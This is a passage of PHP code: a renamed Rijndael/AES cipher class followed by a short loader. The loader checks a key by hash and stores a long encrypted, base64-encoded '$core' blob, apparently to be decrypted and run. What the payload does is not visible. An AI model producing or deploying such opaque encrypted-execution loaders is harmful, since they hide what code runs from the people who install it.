$i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = $t0[$state[$i] >> 24 & 0x000000FF] ^ $t1[$state[$j] >> 16 & 0x000000FF] ^ $t2[$state[$k] >> 8
& 0x000000FF] ^ $t3[$state[$l] & 0x000000FF] ^ $w[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } for ($i = 0; $i <
$Nb; ++$i) { $state[$i] = $sbox[$state[$i] & 0x000000FF] | ($sbox[$state[$i] >> 8 & 0x000000FF] << 8) | ($sbox[$state[$i] >> 16 & 0x000000FF] << 16) |
($sbox[$state[$i] >> 24 & 0x000000FF] << 24); } $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = ($state[$i] & 0xFF000000) ^ ($state[$j] &
0x00FF0000) ^ ($state[$k] & 0x0000FF00) ^ ($state[$l] & 0x000000FF) ^ $w[$i]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case
8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6], $temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3],
$temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1],
$temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3]); } } function _decryptBlock($in) { static $invtables; if
(empty($invtables)) { $invtables = &$this->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox =
$invtables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $dw = $this->dw; $Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) {
$state[] = $word ^ $dw[++$wc]; } $temp = array(); for ($round = $Nr - 1; $round > 0; --$round) { $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i <
$Nb) { $temp[$i] = $dt0[$state[$i] >> 24 & 0x000000FF] ^ $dt1[$state[$j] >> 16 & 0x000000FF] ^ $dt2[$state[$k] >> 8 & 0x000000FF] ^ $dt3[$state[$l] & 0x000000FF] ^
$dw[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while
($i < $Nb) { $word = ($state[$i] & 0xFF000000) | ($state[$j] & 0x00FF0000) | ($state[$k] & 0x0000FF00) | ($state[$l] & 0x000000FF); $temp[$i] = $dw[$i] ^ ($isbox[$word
& 0x000000FF] | ($isbox[$word >> 8 & 0x000000FF] << 8) | ($isbox[$word >> 16 & 0x000000FF] << 16) | ($isbox[$word >> 24 & 0x000000FF] << 24)); ++$i; $j = ($j +
1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case 8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6],
$temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2],
$temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2],
$temp[3]); } } function _setupKey() { static $rcon = array(0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000,
0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000,
0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000); if (isset($this->kl['key']) && $this->key === $this->kl['key'] && $this->key_length
=== $this->kl['key_length'] && $this->block_size === $this->kl['block_size']) { return; } $this->kl = array('key' => $this->key, 'key_length' => $this->key_length,
'block_size' => $this->block_size); $this->Nk = $this->key_length >> 2; $this->Nr = max($this->Nk, $this->Nb) + 6; switch ($this->Nb) { case 4: case 5: case 6: $this->c =
array(0, 1, 2, 3); break; case 7: $this->c = array(0, 1, 2, 4); break; case 8: $this->c = array(0, 1, 3, 4); } $w = array_values(unpack('N*words', $this->key)); $length =
$this->Nb * ($this->Nr + 1); for ($i = $this->Nk; $i < $length; $i++) { $temp = $w[$i - 1]; if ($i % $this->Nk == 0) { $temp = (($temp << 8) & 0xFFFFFF00) | (($temp >>
24) & 0x000000FF); $temp = $this->_subWord($temp) ^ $rcon[$i / $this->Nk]; } elseif ($this->Nk > 6 && $i % $this->Nk == 4) { $temp = $this->_subWord($temp); } $w[$i] =
$w[$i - $this->Nk] ^ $temp; } list($dt0, $dt1, $dt2, $dt3) = $this->_getInvTables(); $temp = $this->w = $this->dw = array(); for ($i = $row = $col = 0; $i < $length;
$i++, $col++) { if ($col == $this->Nb) { if ($row == 0) { $this->dw[0] = $this->w[0]; } else { $j = 0; while ($j < $this->Nb) { $dw = $this->_subWord($this->w[$row][$j]);
$temp[$j] = $dt0[$dw >> 24 & 0x000000FF] ^ $dt1[$dw >> 16 & 0x000000FF] ^ $dt2[$dw >> 8 & 0x000000FF] ^ $dt3[$dw & 0x000000FF]; $j++; } $this->dw[$row] = $temp; }
$col = 0; $row++; } $this->w[$row][$col] = $w[$i]; } $this->dw[$row] = $this->w[$row]; $this->dw = array_reverse($this->dw); $w = array_pop($this->w); $dw =
array_pop($this->dw); foreach ($this->w as $r => $wr) { foreach ($wr as $c => $wc) { $w[] = $wc; $dw[] = $this->dw[$r][$c]; } } $this->w = $w; $this->dw = $dw; }
function _subWord($word) { static $sbox; if (empty($sbox)) { list(, , , , $sbox) = $this->_getTables(); } return $sbox[$word & 0x000000FF] | ($sbox[$word >>
8 & 0x000000FF] << 8) | ($sbox[$word >> 16 & 0x000000FF] << 16) | ($sbox[$word >> 24 & 0x000000FF] << 24); } function &_getTables() { static $tables; if (empty($tables))
{ $t3 = array_map('intval', array( 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE,
0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41,
0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5,
0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830,
0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458,
0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6,
0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0,
0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0,
0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF,
0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793,
0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B,
0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92,
0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E,
0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F,
0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D,
0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117,
0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215,
0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382,
0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C)); foreach ($t3 as $t3i) { $t0[] = (($t3i << 24) & 0xFF000000) | (($t3i >> 8) &
0x00FFFFFF); $t1[] = (($t3i << 16) & 0xFFFF0000) | (($t3i >> 16) & 0x0000FFFF); $t2[] = (($t3i << 8) & 0xFFFFFF00) | (($t3i >> 24) & 0x000000FF); } $tables = array( $t0,
$t1, $t2, $t3, array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,
0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3,
0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F,
0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17,
0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A,
0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68,
0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16)); } return $tables; } function &_getInvTables() { static $tables; if (empty($tables)) { $dt3 = array_map('intval', array(
0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5,
0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95,
0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5,
0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66,
0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506,
0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D,
0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C,
0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24,
0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2,
0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8,
0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9,
0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F,
0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710,
0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629,
0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43,
0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D,
0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F,
0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064,
0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0)); foreach ($dt3 as $dt3i) { $dt0[] = (($dt3i << 24) & 0xFF000000) | (($dt3i >> 8) & 0x00FFFFFF); $dt1[] = (($dt3i << 16)
& 0xFFFF0000) | (($dt3i >> 16) & 0x0000FFFF); $dt2[] = (($dt3i << 8) & 0xFFFFFF00) | (($dt3i >> 24) & 0x000000FF); }; $tables = array( $dt0, $dt1, $dt2, $dt3, array(
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44,
0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2,
0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50,
0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE,
0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89,
0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33,
0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63,
0x55, 0x21, 0x0C, 0x7D)); } return $tables; } function _setupInlineCrypt() { $lambda_functions =& self::_getLambdaFunctions(); $gen_hi_opt_code =
(bool)(count($lambda_functions) < 10); $code_hash = "Crypt_Rijndael, {$this->mode}, {$this->Nr}, {$this->Nb}"; if ($gen_hi_opt_code) { $code_hash = str_pad($code_hash,
32) . $this->_hashInlineCryptFunction($this->key); } if (!isset($lambda_functions[$code_hash])) { switch (true) { case $gen_hi_opt_code: $w = $this->w; $dw = $this->dw;
$init_encrypt = ''; $init_decrypt = ''; break; default: for ($i = 0, $cw = count($this->w); $i < $cw; ++$i) { $w[] = '$w[' . $i . ']'; $dw[] = '$dw[' . $i . ']'; }
$init_encrypt = '$w = $self->w;'; $init_decrypt = '$dw = $self->dw;'; } $Nr = $this->Nr; $Nb = $this->Nb; $c = $this->c; $init_encrypt.= ' static $tables; if
(empty($tables)) { $tables = &$self->_getTables(); } $t0 = $tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; '; $s = 'e'; $e
= 's'; $wc = $Nb - 1; $encrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $encrypt_block .= '$s'.$i.' = $in['.($i + 1).'] ^
'.$w[++$wc].";\n"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $t0[($'.$s.$i
.' >> 24) & 0xff] ^ $t1[($'.$s.(($i + $c[1]) % $Nb).' >> 16) & 0xff] ^ $t2[($'.$s.(($i + $c[2]) % $Nb).' >> 8) & 0xff] ^ $t3[ $'.$s.(($i + $c[3]) % $Nb).' & 0xff]
^ '.$w[++$wc].";\n"; } } for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $sbox[ $'.$e.$i.' & 0xff] | ($sbox[($'.$e.$i.' >> 8) & 0xff] << 8)
| ($sbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($sbox[($'.$e.$i.' >> 24) & 0xff] << 24);'."\n"; } $encrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) {
$encrypt_block.= ', ($'.$e.$i .' & '.((int)0xFF000000).') ^ ($'.$e.(($i + $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($i + $c[2]) % $Nb).' &
0x0000FF00 ) ^ ($'.$e.(($i + $c[3]) % $Nb).' & 0x000000FF ) ^ '.$w[$i]."\n"; } $encrypt_block .= ');'; $init_decrypt.= ' static $invtables; if
(empty($invtables)) { $invtables = &$self->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox =
$invtables[4]; '; $s = 'e'; $e = 's'; $wc = $Nb - 1; $decrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block .= '$s'.$i.' =
$in['.($i + 1).'] ^ '.$dw[++$wc].';'."\n"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.=
'$'.$e.$i.' = $dt0[($'.$s.$i .' >> 24) & 0xff] ^ $dt1[($'.$s.(($Nb + $i - $c[1]) % $Nb).' >> 16) & 0xff] ^ $dt2[($'.$s.(($Nb + $i - $c[2]) % $Nb).'
>> 8) & 0xff] ^ $dt3[ $'.$s.(($Nb + $i - $c[3]) % $Nb).' & 0xff] ^ '.$dw[++$wc].";\n"; } } for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= '$'.$e.$i.' = $isbox[
$'.$e.$i.' & 0xff] | ($isbox[($'.$e.$i.' >> 8) & 0xff] << 8) | ($isbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($isbox[($'.$e.$i.' >> 24) & 0xff] <<
24);'."\n"; } $decrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= ', ($'.$e.$i. ' & '.((int)0xFF000000).') ^
($'.$e.(($Nb + $i - $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($Nb + $i - $c[2]) % $Nb).' & 0x0000FF00 ) ^ ($'.$e.(($Nb + $i - $c[3]) % $Nb).' &
0x000000FF ) ^ '.$dw[$i]."\n"; } $decrypt_block .= ');'; $lambda_functions[$code_hash] = $this->_createInlineCryptFunction( array( 'init_crypt' => '', 'init_encrypt'
=> $init_encrypt, 'init_decrypt' => $init_decrypt, 'encrypt_block' => $encrypt_block, 'decrypt_block' => $decrypt_block)); } $this->inline_crypt =
$lambda_functions[$code_hash]; } }
function d($i, $k, $v){ $r = new Rjn(Rjn::MODE_CBC); $r->setPreferredEngine(Rjn::ENGINE_INTERNAL); $r->setBlockLength(128); $r->disablePadding(); $r->setKey($k); $r->setIv($v); return $r->decrypt($i); }
function h($i){return hash('sha256',$i);}
if(!$k){ik();}if(!$i){ua();}if(h(trim(d(base64_decode(C),$k,V)))!==R){ik();}
$core='SPD2PCs8GERHs+mcDgij0RWWtVAxNgb6kW93uhlC4ybv6uEzpbeqnztZKORZlmCy1H2ud6CThZkWq13x6U03f5gIB07CfedOKvfPJ2mlg1L67TS7jmDTaIAuQMueiXWeisdWZQL6OtABVDVCQcQsHquc3ox//2019BpslByQlnWeDC9nQ3uYjTHf1YNdprMgD2sg7lDtRTBdduuelFB6SbhrmgE1bAYaLCUln3Pw4oE52sniVf+GGOKJyGNiw4Z35a5EyOjTQBSC81NuqB2sPgEVIjB6keDVUWgdeK27L6yPGxb2lFmS1otvqpnudo1M2C0RQSb1UpC50rsYGx0mrS32vuceZKvb9n0fJLLh9CGX3T6XqCwZCKSHobnZEvLccL8kZVSOdBUWwSCDtXbltvcRX+A6vst23aqI41Jvvr4scSToQdg+4ZRgw140nu6YRQjeiSdmtMBwgmuTSgyPQOXN/4YlWHxymjMPmFH2MMgC/smFwbdvCN6nHOXiecsQ4vDAkXGfY7CpL6YbEJPRrXEdTlUMdoBsBQEnAI7Xrxprd/J8MJlT1DcUB8fL5sY2prIiunQopDXZn48Fwp9F0qAuFrsJxqjVZ6AsL1JK7cZ+errSWimT3Lk07g4ngMCaGbZ4Og5kdp1ZMQxNvAWQDdnE7LOwEbuYjSlNgmnBttxEwi+jw/ySuNzoT0wp7A6e2YiMHqrVbGTZ+4/9/kI0AZHHjDMNEGdARpWjqizAlx+cDZ0s8qGcEd5KxLLZEAuV5jYOxKTHp2ocjU84Ew4jawPCbGE8VLscdjFZDmf2cChXf22XNw/F0TUoQP4cLmIcJl+2pY8+e+Pfee5n6Z/TOyvzbtb5MRNr2OU1OKQ0Dsbq3jdyY3k8SvEVMqyep16iuj2DzXz4T1JQV5KkXnDkk6twGnFDKKpVCeRiYXaYMtOiNKlPK8smp4ftIVN5Q6RD